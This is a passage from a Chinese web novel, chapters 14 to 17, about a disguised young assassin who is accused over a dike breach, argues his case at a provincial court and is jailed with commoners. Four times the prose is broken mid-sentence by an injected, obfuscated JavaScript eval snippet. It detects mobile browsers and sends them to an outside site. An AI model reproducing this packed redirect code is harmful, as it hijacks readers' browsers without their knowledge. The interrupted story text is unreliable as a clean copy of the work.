似乎太秀气了些,眉眼间也有点青涩。 没什么锋芒,倒是有些软韧稚气。 放下剑,一个问题骤然浮上赢秀心头—— 谢舟看见这张脸了吗? “啪嗒——” 高矗竹楼中,有人手捻棋子,落下一棋。 昭肃帝正在对弈,而他对面空无一人。 白棋,黑棋,都在皇帝指间。 悬镜司的暗卫不远不近地跪在天子脚下,一五一十地回禀:“王守真在带着家臣守在门外,不肯离去,说是要带赢公子回去。” 皇帝轻轻乜了他一眼,意思不言自明。 暗卫心惊,暗道自己竟然犯了蠢,一位小小的王氏子弟,竟然也能惊动陛下。 他轻手轻脚地退出竹楼,冷声吩咐等候的属下:“叫王道傀管好他的郎君,不要冒犯到陛下跟前。” 王道傀,当今尚书令,健康四大士族之一,琅琊王氏的主公。 话音未落,便听见一阵细微的脚步声,有人来了。 麓山客舍层层戒备,守卫森严,除了陛下,能在这里自由走动的只有一个人。 “赢公子来了,郎君在竹楼上。”暗卫对来人道。 赢秀刚刚睡醒,穿着僮仆送来的绣金大袖衫,轻盈秀气,锦绣上粲然金光随之浮动。 活脱脱一个高门士族的小公子,特别是那张过分漂亮的脸…… 青涩,艶美。 暗卫只是看了一眼,迅速垂下眼睫,朝赢秀拱了拱手,逃也似地走了。 赢秀:“……?” 难道是暗卫发现他的脸和之前的不一样,心生害怕,所以忙不迭地走了? 谢舟会不会也这样想…… 应当不会吧。 赢秀鼓起勇气,登上竹楼,竹楼临水而立,楼台下清水澹澹,莲叶接天。 这些莲叶看着莫名有点眼熟,有几株像是他之前从小秦淮采的。 一直沿着竹梯走到最高处,四面景物澄廓,远处草木岑蔚,青黛两色铺天,山色与天流映滂沱。 走到此处,方知天地渺远,无限寂寥。 竹楼上,一道飘然出世的白衣身影铺席而坐,面前摆着棋桌,似乎正在弈棋。 仔细一看,对面没有弈手,惟谢舟一人而已。 赢秀站在原地,静静看了一阵。 那人分明是他熟悉的谢舟,又有些不像,黑字白子在他掌中翻覆,纵横捭阖,风云涌动,肃杀凌厉。 盯着那一颗颗棋子,赢秀看得入神,不自觉地回忆起一道道剑势,每一道都随着落棋成了绝妙杀招。 那人却落下最后一颗棋,转头朝他看来:“你来了,昨夜睡得可好?” 眼前人又恢复成了他熟悉的谢舟,温和有礼,端方清隽。 对于方才感受到的肃杀之气,赢秀只当是自己的错觉,再者,在南朝做一个门客,杀伐果断是好事。 “睡得挺好的,”大抵是因为昨夜在沅水中浸湿了全身,赢秀隐隐有些发热,身体里浮着淡淡的寒意。 可能是感染了些许风寒,少年刺客常年风餐露宿,也不放在心上。 他张开口,想要说什么,犹豫了一下,问谢舟:“可曾有人来找我?” 谢舟道:“……不曾。” 没有人来找他,那十五个好友没来,王守真也没来。 就连宝屏口溃堤之事,似乎也静悄悄的,无人寻他查问。 想到王守真,赢秀脸上似乎又浮现出隐隐的痛意来,那道巴掌不仅打得响,力气也不小。 既然王守真不来和他道歉,那他也不会去找王守真。 只是,河堤之事兹事体大,他今日还是得回去一趟。 少年的心思一看便知,谢舟不动声色地宽慰:“你可以一直住在我这里。” 如果无处可去,你可以一直留在我身边。 “我不能白住你的屋子……。” 赢秀下意识摸了摸袖口,却摸了个空,不免有些尴尬,后知后觉想起身上这件衣裳也是谢舟备下的。 少年有点局促,脸腾地红了,“我现在身上没有银子,过些日子,我一定会把银钱补上的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845726|175767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 九尺爹爹自小教导他,不能吃嗟来之食,更不能占别人的便宜,他怎么能白住谢舟的屋子呢。 “不必,”谢舟已然习惯赢秀一根筋的性子,“倘若你真的想要为我做些什么,不如做我的门客。” 不等赢秀拒绝,谢舟抬手为他沏了壶茶,在幽幽水声中继续说道:“我记得你是学经科的儒生,还不曾举孝廉,可愿给我当门客?日后出仕也方便些。” 言下之意,投靠了建章谢氏,便能得到谢氏的举荐,日后平步青云。 是了,他在谢舟眼中,一向是个求仕无门的儒生,只是机缘巧合结识了琅琊王氏的公子。 赢秀心里清楚,明面上说是给谢舟做事以抵房费,实际上这是个天大的机会。 谢舟有意要提携他,让他出仕。 一个常年隐匿在黑暗中的刺客,怎么能做官呢? “不用急着答复我,”似乎看出赢秀的纠结,谢舟温声道:“等你想清楚了再说。” 无论赢秀答不答应,自从他昨夜踏进麓山客舍,他与琅琊王氏便再无可能。 只要有一隙裂痕,他便有无数个办法让他们至此背道而驰,渐行渐远。 赢秀松了一口气,心里有些感激谢舟如此通情达理,没有逼着他立刻给出答复。 他端起耳杯,正想饮一口茶,措不及防从冰冷光秀的瓷面看见自己的倒影。 竹楼光影疏落,明亮通透。 少年的脸在浩荡天光下显得尤其陌生,漂亮,艶美,青涩,秀气。 总之是一张与从前截然不同的脸,谢舟分明看见了,却一个字也不曾提起。 ——莫不是他眼睛不好? 赢秀被这个猜测吓了一跳,抬起眼睫,小心翼翼地打量对方。 谢舟的眸瞳很漂亮,眼尾狭长凌厉,无端的诡丽惊鸿,黑的似玉,白的似雪,浑然无杂色,透彻冰冷。 不像是眼睛有问题的样子。 赢秀心里藏不住事,忍不住问他:“你怎么不问我的脸……” 谢舟只是道:“这是你的秘密,”他随意搭着手,慢慢捻着棋盘上的棋子,手下渐渐出现一道游蛇似的草灰蛇线,“如果你愿意告诉我,我会很高兴。” 倘若你不说,我也不会过问。 赢秀听出了他的言外之意,再度松了一口气的同时,又不免有点心虚。 倘若谢舟知道他是一个刺客,能够三步杀一人,六步杀两人的那种,只怕会又怕又生气…… 还是不要被他知道了。 赢秀心虚,目光也不知道该往哪里放,索性低头盯着棋盘看。 他不会弈棋,这样风雅的爱好,大多属于风流名士,与刺客无缘。 他也看不懂这类棋子的弈棋之道,只是看着看着,却发觉黑白混合,泾渭相融,每一枚棋子之间,彼此可能是敌手,也可能是伙伴。 真真假假,假假真真。 谢舟见他看得认真,便问他:“倘若要两色棋子互相平衡,该如何做?” 寻常人或许会说将多出来的棋子除掉,将少的棋子添上,以求平衡。 赢秀却说:“把颜色改掉,全部改成同一色,便没有黑白阵营之分,也无需制衡。” 15. 第 15 章 令人始料未及的回答。 将两色棋子变成一色,便没有泾渭之分。 谢舟似乎顿了一下,“要如何将它们变为一色?” 赢秀轻轻摩挲着冰冷圆润的棋子,随口道:“没有分别,便是一色。” 没有上下之分,没有士庶之分,便是一色。 赢秀聪明,灵慧,看出谢舟以棋喻人。 谢舟静默了一会儿,终于轻声道:“做不到没有分别。” 赢秀不假思索道:“那只能求大同,尽力让每颗棋子都趋于一色,不分上下,没有贵贱。” 难得的,谢舟开始仔细端详赢秀,向来着黑的少年穿着一身粲然生辉的金袖衫,袍裾绣锦绣,珠辉玉丽。 这身衣裳比他想象的更适合赢秀。 或者说,赢秀天生就应该穿着华冠丽服,金装玉裹,意气风发,走在仕宦阁台之中。 而不是做一个小小的刺客,隐藏在黑暗中,不见天日。 赢秀察觉到对方的目光落在自己的衣襟上,不由有些紧张,下意识理了理宽大飘逸的袍裾。 他从未穿过这么好,这么漂亮的衣裳,生怕弄坏了。 金色,太过显眼,不是一个刺客该穿的。 琅琊王氏的戒训告诉他,他应该带着斗笠,面带覆面,穿着黑衣,潜行在暗处。 但是谢舟给他准备了金色的衣裳,内里冰冷柔软,外头漂亮夺目。 少年一直低头整理袍裾,眼眸低垂着,脸颊隐隐泛着红,谢舟便问他:“不喜欢这衣裳么?” “没有!”少年下意识大声否认,猛然意识到自己说话的声音似乎太大了些,他骤然压低声音,小小声地说:“……喜欢的。” 他喜欢金色,这是太阳的颜色,看起来很温暖。 只是……稍微有点不习惯。 白衣青年没有笑话他一惊一乍的反应,态度温和,静静地等待他慢慢缓和下来,才继续说道:“我给你备了马车,到江州官署,你可以好好查查宝瓶口溃堤。” 他从袖里拿出一枚令牌,推到赢秀面前:“这是我的令牌,你拿着好办事。 这是一方泽润明亮的白色玉璧,冰冷生辉,一看便不同凡响。 比起玉璧,赢秀更注意谢舟的手,手掌肌骨劲瘦有力,冷白皮肉里蛰伏着一道道青筋,手指很长,指骨凸起,根根分明。 是一双很适合握剑的手。 没敢再看下去,少年刺客移开目光,再度看向玉璧。 犹豫着,不知该不该拿。 “放心,”谢舟声音温凉,像是淬冰的水,带着安抚人心的力量,“这不是谢氏的,是我的。你拿着,有需要的时候再用。” 赢秀没再推辞。 他伸手将那方玉璧握在手里,上面刻着复杂的篆文,认不出是什么字,只知道刻得很威严,能叫人胆寒。 谢舟不是普通门客,先前喂鹿也许是出自爱好,何况那头鹿很漂亮,也不见得是一头普通的鹿。 玉璧沉甸甸的,坠在袖口的位置,赢秀无比清晰地意识到,坐在他对面的漂亮门客不是普通人。 他是谢硅的门客,当今国相的人。 袖里揣着谢舟给的玉璧,赢秀小心翼翼走下竹楼,时不时摸一下袖袋,生怕里面的东西摔了,又怕弄丢了。 在他身后,白衣门客再次捻起一子,安静地与自己对弈,静静回想着少年刺客方才说的话。 一轨九州,同风天下。 无高下,无贵贱,此为天下一色。 …… 江州府衙,一片灰暗。 宝瓶口溃堤的沅水仿佛化作云雾,腾至天穹,降成细细密密的雨丝,一阵阵地吹打着府衙大敞的辕门。 一群白丁跪在堂外的空地上,他们昨夜成群结队地跳下沅水,手拉着手企图用身体挡坝,各人都被寒凉的江水打了个透心凉,现在还浑身湿漉漉,跪在雨中。 堂上左右坐着审理此案的都尉和郡丞,上首空着,是江州牧的位置。 中堂两侧,左侧坐着负责修葺宝屏口的大户豪绅,左侧坐着江州别驾王誉,身旁按照官衔从大到小,依次站着随他一同平迁江州的臣僚。 上下左右俨然是一副侨吴对峙之势。 没有急着审问,都尉语气随意地问王誉:“长公子身体可好了些?” 小小王誉算什么,只不过是由琅琊王氏察举提携的家臣,王守真才是琅琊王氏的长公子,真正的侨姓士族。 王誉没有说话,就在今日辰时,他接到尚书令从健康递来的飞书急信,要他务必看好长公子,不能让王守真惹了不该惹的贵人,还说什么,触怒贵人,届时即使是他,也保不住他们。 到底是什么贵人,能让身为琅琊王氏主公的王道傀如此紧张? 他心下琢磨不透,恰好那时听说王守真去谢氏门客的客舍找人,直觉告诉他最好拦下王守真,便急匆匆地带人把长公子绑了回来。 王守真不是朝廷派来督工的官员,身上没有官衔。 即使都知道王守真才是幕后真正掌权说话、督工运河的人,他们又能奈他何。 麻烦全都冲着他来了。 王誉深呼了一口气,早就想好了对策。 不就是找替罪羊吗,眼下长公子被困在私邸,外面跪着的白丁又是那人举荐的,再也没有比那人更合适的替罪羊了。 等到王誉说完,都尉眯起眼,漫不经心道:“你是说,那个叫做赢秀的儒生,才是宝瓶口溃堤的罪魁祸首?” 坐在他身旁的郡丞随口问了一句:“这个赢秀多少岁来着?” 都尉和郡丞都出自江州吴姓,显然不接受用一个没名没姓,不知从哪里窜出来的赢秀当替罪羊这个结果。 此番大动干戈,怎么也得让侨姓王氏割一块肉。 王誉向来看不惯赢秀,自然也不知道他多少岁,倒是两侧屏风外的耳房传来一道声音:“十七岁。” 耳房里站着的是这次溃坝的受害人,那十五个儒生,再加上几个出海捕鱼的钓叟。 说话的是一个年迈的儒生。 堂上无人接话。 “安静!”胥吏敲了敲耳房的窗棂,低声提醒:“堂上大人们问你们话,你们再说话。” “一个十七岁的少年儒生,区区白身,”都尉慢悠悠道,“怎么可能是此次溃堤的祸首?” 王誉早已做好了准备,一壁命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845727|175767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臣僚将案牍呈上去,一壁道:“大人您是不知,这赢秀与队官交好,让队官选了他举荐的白丁修葺宝瓶口。我昨夜已经审了几个白丁,都说是赢秀指使他们来的。” 说着,一个湿淋淋的中年男子被王氏的舆从押上堂前。 那人扑通一下跪下,止不住地叩头,嘴里喊着都是赢秀求他要他雇佣那些白丁,以致于昨夜酿成大祸。 此人正是负责用人的队官阿洪。 他之前看在赢秀和长公子关系不错的份上,便答应了任用涧下坊那帮贱民,谁承想闹成这个样子。 “砰——” 惊堂木骤响。 “这个赢秀何在?”没耐心听这些人串通起来胡扯,都尉直截了当地问。 一时寂静,没人知道赢秀去哪了,只知道他昨夜确认那些儒生都完好无损后,似乎离开了堰口,不知道去了哪里。 ——他在门客的私邸。 莫名的,许是出于某种在官场浸淫了二十年养成的对于危险的直觉,王誉不愿将此事牵扯到那个神秘的门客身上。 “失踪了,”王誉道:“从昨夜子时开始,赢秀便踪影全无。” 他虽然没有明说,但府衙中的都是聪明人,听得出他真正的意思。 畏罪潜逃,这个十七岁的儒生畏罪潜逃。 “全城搜捕,”都尉冷冷道:“还不快将这个叫赢秀的疑犯捉拿归案!” “你们在找我吗?” 辕门外,雨丝朦胧。 箸金袍的少年撑着伞,穿过重重守卫,轻盈地踏过辕门。 秀致,青涩,漂亮,华丽。 很难想象这些词能在同一个人身上融合得浑然天成。 王誉从未见过刺客的真容,循声望去,瞳孔骤然一缩。 ——他似乎在哪里见过这张脸。 很熟悉,从脸到眼神,都很给他一种可怖的熟悉感。 他尚且年轻时就见识过,这世上有一种人,正直热忱,矢志不渝,下则为河岳,上则为日星。 即使死了,也很难忘记他们的眼神。 ——赢秀今年十七岁。 王誉脸色微微一变,所幸其他人的注意力都在赢秀身上,没人察觉。 金色衣摆虚虚划过石阶,赢秀没有继续往前走,驻足停在那群淋雨的白丁中。 撑着伞,屹立在他们中间。 涧下坊的百姓一眼便认出了他,小声唤他:“公子,千错万错,都是我们的错。”“他们想让你做替罪羊,你可千万不要认罪。” “你们不会有事的。”赢秀低声对他们说。 少年的声音不大,足够传遍堂外堂内,响彻整个江州府衙。 此人好大的口气! 都尉和郡丞相觑一眼,皆从彼此眼中看见了嘲意。 赢秀环顾四面,目光毫不退让地直视着坐在首位左右的都尉和郡丞。 “宝屏口溃堤,祸起一个白身儒生,诸位敢这么断案,廷尉、御史台、刑部会信吗?” 面对满堂仕宦,极少站在人前的少年看似镇定,握着伞柄的指尖已经开始微微发颤。 那方玉璧坠在袖口,冰冷的,隔着衣袖偎依他的肌肤。 16. 第 16 章 区区一个侨姓白身,竟敢搬出廷尉,御史台和刑部来压他们。 都尉和郡丞压下几乎溢出喉咙的冷笑,吩咐镇守在堂外的驺兵:“都愣着作什么,还不快把疑犯拿下!” 驺兵如梦初醒,手执长枪,朝赢秀团团围拢。 雨丝朦胧,官靴踏在地面上,溅起一圈圈的水波。 穿着金裳的少年一手撑着伞,一手卷起衣摆,避开飞溅的雨点。 袍裾翻飞,纤秀少年脚步轻盈,绕过铁桶似密集的驺兵,轻捷地登上中堂。 他顺势收了伞,伞上雨点簌簌滑落,抖落一片晶莹。 在他身后,驺兵堪堪反应过来,错愕地回身看他,着实没想到这少年的身法竟然如此卓绝灵巧。 绕过驺兵,抬手收伞,这一切都发生在短短一瞬间。 做得轻捷迅速,行云流水,动作美得像一幅画,锋利明快。 无视满堂错愕惊异的目光。 赢秀平静道:“大人说我是疑犯,可有证据?” 郡丞没有说话,看了一眼王誉,王誉用眼神示意手捧简牍的王氏胥吏,胥吏连忙摊开简牍,一板一眼地念道: “儒生赢秀,与队官阿洪交好,让阿洪徇私,任用涧下坊的百姓修葺渡口,然而这些白丁素日里消极怠工,散漫懒怠,以致于宝瓶口溃堤。昨夜之事,皆因赢秀而起。” 阿洪跪在地上,口齿含糊,连连附和,说什么都是赢秀让他做的,赢秀偏袒涧下坊那群庶民,非要他任用那群人。 堂内寂静。 阿洪跪着跪着,忽而听见雨珠滴落的声音,像是从光滑的绸面滑落下来,那声音离得极近。 他哑了声,回头看去,第一眼便看见了一把收束起来的绸伞,沾着雨露风霜,握在一只秀致白皙的手中。 是个穿金裳的少年,身姿有些像赢秀,样貌却不像——到底是谁? 赢秀慢慢走到阿洪面前,“确实是我向你举荐涧下坊的白丁,此话不假,”隔着两步的距离,他站定了继续道:“但是溃堤之事,与他们无关,他们傍晚未时归家,而宝瓶口是将近子时才溃堤。” “何况如今不是沅水的汛期,堤坝之所以溃堤,只怕是——” 赢秀环顾四面,目光停在延尉和都尉身上,终于缓缓吐出两个字:“人为。” “人为?”都尉冷笑,“那你说说,是何人所为?” “小民不知,但小民有些线索,”赢秀毫不怯场,从袖里取出一沓纸笺,他来之前,专门请了谢舟的堪师去宝瓶口勘测地貌,为了等这沓纸笺等了半个时辰,上面记载着宝瓶口堤坝的缺口。 胥吏取了纸笺,分别呈给诸位大人,都尉和郡丞看过了,脸上的表情由漫不经心变成了凝重。 上面写得清清楚楚,甚至还用笔墨绘了宝瓶口的地貌形式,连阙口也画得清晰无比。 这分明是人为破坏的阙口,而非堤坝自身难以御洪。 “这字是谁写的?这画是谁画的?”都尉高声质问道。 他就不信区区一个小小的儒生,身边竟然有这样高超的勘师,定然是有人在幕后襄助他。 倘若那人出自士族,权势滔天,那他们也不是不可以退让些许,放过这个赢秀。 倘若他们只是一群乌合之众在搅是搅非,装神弄鬼…… “字是我写的,画是我画的,全部出自我一人之手。”赢秀掷地有声。 “把他给我关起来,”延尉冷静下来,不想和这个赢秀过多纠缠。 “南朝律令规定,纵使是疑犯,也有为自己辩白的权利,”赢秀道:“何况我还不是疑犯,延尉大人,您凭什么把我关起来?” 平日在酒肆偷看的书终于派上了用场,赢秀一面回忆着南朝律令,一面说道。 什么律令,什么权利,都尉被他说得有些胸口发闷,碍于公堂之上,众目睽睽之下不能拿他怎样,只能转而向王誉发难。 左右王誉才是他们的目标,这个半路被推出来挡罪的赢秀,等会再处置他。 “别驾大人,大运河由您督工,出了这件事,您怎么着也该给朝廷一个合理的解释。”都尉对王誉道。 王誉用目光指向胥吏手中的简牍,“微臣已经查清此事,由赢秀而起,至于这些纸笺——”他缓缓道:“口说无凭。” 昨夜他也派人勘测过,赢秀送来的那些纸笺上面写的全部都是真的,溃堤之事是人为,是有人用大枋木撞破了宝瓶口的堤坝。 但那又怎样。 现在再去查已经来不及了,事到如今,最重要的是要找到人替罪,揽下所有黑锅。 绕来绕去,一切似乎又绕回原点。 赢秀轻声道:“前去勘测河道的堪师已经将这份地貌图送到驿站,送往健康。”分明他的声音不大,却叫在座之人全都为止战栗,“届时,整个京师都会知道,江州有人蓄意破坏河道,当地官员怠慢职守,隐瞒不报。” 不等他把话说完,都尉立即给身旁的胥吏使了个眼色,胥吏心领神会,从暗处匆匆地走了出去。 势必要拦下所有前往健康京师的书信,免得此事上达天听。 自始至终,江州的豪绅大户始终一言不发,作壁上观。 赢秀侧首看了他们一眼,轻笑了一下,“不知诸位有何高见?” 少年笑得动人,灵秀殊异,却莫名地叫那几个豪绅的心颤了颤。 他们从这个少年身上嗅到了杀气,剑光,这个看起来平平无奇的少年,手上绝对是沾过血的。 “据小民所知,宝瓶口附近五十里的河道,是由诸位大人结垒据守,当夜你们还邀请了十五个儒生乘舟在沅水上清谈。” “若非那十五个儒生中途被人拦下,现在可能已经变成一具具浮尸了。” 少年语气平静,听不出情绪,似乎只是在叙述与自己不相干的事情。 “你想说什么?”一个豪绅忍不住一拍茶案,“某请那些儒生泛舟清谈,是因为某心疼他们苦读数年,入仕无门,有意和他们清谈论国,提携一二。你呢?一介小小儒生,竟然拿这些小人心思来度君子之腹!” “是小人还是君子,”耳房骤然传出一道声音:“我们自有分辨。” 守着耳房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845728|175767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的胥吏已经不敢敲窗提醒他们了,只想缩成一团,或许钻进地洞里,免得被豪绅记恨。 那可不是一般的豪绅,是与江州牧同宗的微生氏,从前是仅次于相里氏的存在,不是一般庶民得罪得起的,就是二般的庶民也得罪不起。 这耳房里的都是出身庶民的儒生,竟也敢出言顶撞中堂里的贵人。 不怕死,真是不怕死。 胥吏余光中看见站得笔直的金裳少年,心底嘀咕了一句,这才是这里最不怕死的。 “够了!” 公堂之上,岂容他们肆意喧哗,把这儿当成菜市不成? 都尉正想说些什么,身后有人急匆匆走来,附耳在他耳边低语了几句,都尉脸色骤变。 ——江州牧昨夜子时便开始称病,现在更是一病不起。 换言之,审理此案的压力全部推给了他和延尉。 谁不知道远在健康那位帝王,最看重这条贯穿四洲的大运河,一旦出什么差错,只怕他们项上人头不保。 好你个江州牧! 廊外响起急促的脚步声,负责执掌刑名的循吏提着涉案之人的证词来了。 冷铁似的味道,赢秀对此再熟悉不过,是血,他循声望去。 循吏的衣袍上还沾着血,飞溅的鲜血浸透了漆黑布料,脸上挂着笑,恭敬地将证词呈到乌木案前。 “两位大人,涧下坊有两个白丁已经招了,他们说……是江州别驾王誉,要他们毁堤,以此诬陷据守附近河道的豪绅。” “你这是严刑逼供!”赢秀脸色微变,质问循吏。 “严刑逼供?”出身微生氏的豪绅微生悯笑了,插话:“你亲眼在刑狱里看见了?” 隔得远远的,赢秀看清了。 那摆在案上的证词是用血写的,字字句句,晕得有些不成样子。 王誉静默了片刻,低声说了几句话,南士出身的豪绅不约而同地举起袖子,装作饮茶。 旁人不知他在隐喻什么,赢秀却清楚,王誉说的都是江州豪绅大户的阴私把柄。 这些都是他亲自调查出来的,他再清楚不过。 都尉和延尉的脸色也有些挂不住,望着那沓浸透了血的证词,抬手扶额,道:“此案改日再议。” 循吏用带血的指尖指了指赢秀,以及跪在堂屋那群白丁:“你,还有你们,留下来配合官署调查。” 说的是配合调查,那循吏脸上分明带着玩味的笑,宛如看着掌中的猎物。 此话一出,跪在外面的白丁顿时慌乱起来。 那循吏身上浓重的血腥气他们并非没有闻见,倘若落在他手中,只怕他们不死也会脱层皮。 百姓用殷切的目光望着穿金裳的少年,少年身姿高挑颀长,玉润金清,立在堂内堂外的分界中。 他独自一人与满堂朱紫对峙,身后是布衣褴褛的百姓。 仅仅是看着他,百姓便觉得无端地镇定和安心。 “好。” 出乎所有人意料,赢秀轻轻地笑了。 他差点忘了,他是一个刺客,不是束手待擒的儒生。 17. 第 17 章 “赢秀不是疑犯,诸位大人不能把他留下来!”耳房内传出几位儒生的声音,老的少的,声音重叠在一起。 胥吏连忙低声提醒:“公堂之上,哪有你们说话的份?” “我们都是南朝的子民,为何不能在公堂上说话?又是谁不准我们说话?”薛镐径直走出耳房,声音铿锵有力:“不妨到京师辩一辩,看看皇帝会为谁做主!” 在他身后,十四个儒生次第走出,簇拥着他,毫不畏惧地与胥吏对峙。 薛镐望向赢秀,少年穿着金裳,马尾高高束起,垂落在薄肩上,高挑纤秀,金清玉润。 特别是那张脸,与从前大为不同。 秀气清隽,艶美殊异。 很清秀,能让人驰魂宕魄的清秀。 似乎是没想到他们竟然会帮着自己说话,赢秀有些怔愣,“你们……” “肃静!” 都尉忍无可忍地怒喝一声,望向那群儒生的目光中隐含忌惮。 虽然这些儒生地位卑贱,但是文人墨客的笔杆子却足够掀起波澜,万一他们私下编排些什么,让上头的贵人给听见了…… “罢了,你不必留下来了。只是,此案未曾查清之前,你不得踏出江州半步,出城的过所暂时废止。”都尉对赢秀道。 至于涧下坊那些百姓……都尉没有发话,显然是要他们留下来配合调查。 闻言,薛镐等人松了一口气,虽然还没有帮赢秀洗清嫌隙,好歹赢秀不用待在刑狱之中受苦。 他们正想上前带赢秀离开,赢秀却退后一步避开他们。 赢秀道:“那些百姓呢?” 循吏慢悠悠地抚了抚衣裳的褶皱,指甲缝里依稀能看见斑驳殷红,“宝瓶口是他们修葺的,他们自然要留下来。” 太多百姓了,儒生也不能全部带走,薛镐望着赢秀,暗暗朝他使眼色,示意他回去再另想对策。 令他失望的是,赢秀只是看了他一眼,旋即移开目光,“既然如此,我要和他们留下来。” 薛镐不可置信:“……赢秀,你胡说什么?” 你疯啦?!寻阳的刑狱可不是人待的地方,寻常的士族进了没事,他们这些没有出身的儒生若是进了,只怕会落得个竖着进去,横着出来的下场。 “我没胡说,我要和他们一起留下。”赢秀又重复了一遍。 少年静静地望着黑衣沾血的循吏,目光极其平静,却无端地叫江州府里最擅刑名的循吏有些战栗,没来由地寒意慢慢地爬上他被血湿透的手。 手上沾血无数的循吏对于杀意有一种近乎敏锐的直觉,只不过,区区一个年轻稚气的儒生,还能要了他的命不成? 他暗自笑笑,任由这少年再怎么巧言善辩,一旦落到寻阳的大牢里,还不是由他说了算。 赢秀要留下找死,薛镐和其余人还没来得及劝他,都尉便道:“是他要留下来,可不是我们江州官署强行扣押。”说罢,他起身便走,延尉紧跟其后,主位上转眼便没了人。 微生悯和几个豪绅大户亦起身离去,临走时,微生悯回头看了薛镐等人一眼,却看见一群人正围着赢秀苦口婆心地劝说,全然没有往他这边看上一眼。 王誉还坐在杌子上,三足的杌子冷硬硌人,那些人的心思他都一清二楚,无非是想要借此扳倒他们这些新来的侨姓。 他是朝廷命官,他们不敢动他,只能设法诬陷,要把河道决堤的黑锅扣在他头上。若不是他方才说了几句他们的把柄,引得他们心生忌惮,只怕这些南士早已朝他发难,要把污水往他身上泼。 倘若等他们反应过来,自己手中并无证据,只怕…… 王誉再度想起了那句童谣—— 廷尉狱,平如砥;有钱生,无钱死。 若是能在刑狱中取得昔年的卷宗,便有了应对之策。 只是,江州的刑狱,岂是侨姓能进去的? 也只有赢秀才有这个胆子,为了陪着那些庶民,胆敢留下来。 面对十五个儒生围作一团,好言奉劝他归家,赢秀只是道:“不必为我担心,我自有分数。” 他来时没有带剑,但是对付这群人,也用不上剑。 “说够了没有?!这是江州官署!不是什么阿猫阿狗都能——” 侯在一旁的循吏恶声恶气,冷不丁看见那金裳少年轻轻垂睫看他,眼睫乌秀,眸光幽冷。 他的心莫名奇妙地颤了颤,无端的恐惧让他讪讪地闭了嘴。 半刻钟后—— 黑魆魁的刑狱中。 “还不快滚进去!” 循吏狠狠推了一把走在最末尾的百姓,推得那人踉跄一下,几乎跪倒在地。 一只纤秀白皙的手扶起百姓,赢秀弯腰将人扶起来,淡淡地乜了循吏一眼。 许是某种直觉,循吏不愿和他对视,连忙错开目光,退到一旁,也不再动手了,抱臂冷眼看着他们走进窄牢内。 那群白丁全部关在一起,赢秀单独关押,专人看守,这个专人,自然是他,他非得好好治一治这个胆大包天的少年不可。 还敢偷偷送信到健康京师,上面的人特意叮嘱了,要好好伺候他。 窄牢很黑,四面无光,依稀能听见不知从何而来的滴水声,滴滴答答。 赢秀闭目站在地上,他不愿坐着,免得弄脏了身上的衣裳,这是谢舟为他准备的衣裳。 “滴答,滴答……” 黑暗,诡谲,阴森,可怖,这才是一个刺客最熟悉的环境。 水声滴到第十次,踢踏脚步声从不远处响起,慢慢地由远及近,不一会儿便到了跟前。 窄牢前的守卫似乎在对谁打招呼,紧接着响起钥匙摩擦的声音,沉重的铁门哐当一声,开了。 有人走了进来。 “把他给我抓起来,放到那边的刑架上。”循吏低声吩咐。 两个守卫一前一后地走了进来,朝站在窄牢中的少年走去,伸出手臂,就要箍住他瘦弱的肩膀。 “砰——” 一声闷响。 一切都发生在电光火石之间。 直到两个守卫被重重掷在铁门上,狼狈地摔在地上,循吏才堪堪反应过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845729|175767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 “你,你!你究竟是何人?!”一个小小儒生,怎么会有这样恐怖的武力,循吏转身想逃,却被一双纤细的手攥住袍裾。 手下的触感不算新奇,布料里浸着不知谁人的鲜血,现在已经干透了,不会弄脏谢舟给他准备的衣裳。 赢秀轻轻地笑了。 漆黑的窄牢中,烛火跃动着,石壁上投射着两道影子。 金裳少年指尖微动,迅速点了循吏的命门要穴,随后轻轻一推,将动弹不得的循吏按倒在地上。 循吏惊恐地倒在地上,漆黑的眼珠艰难地转动着,藏在身后的烙铁哐当掉在地上,他只庆幸这烙铁还未在火里滚过,那少年究竟对自己做了什么! 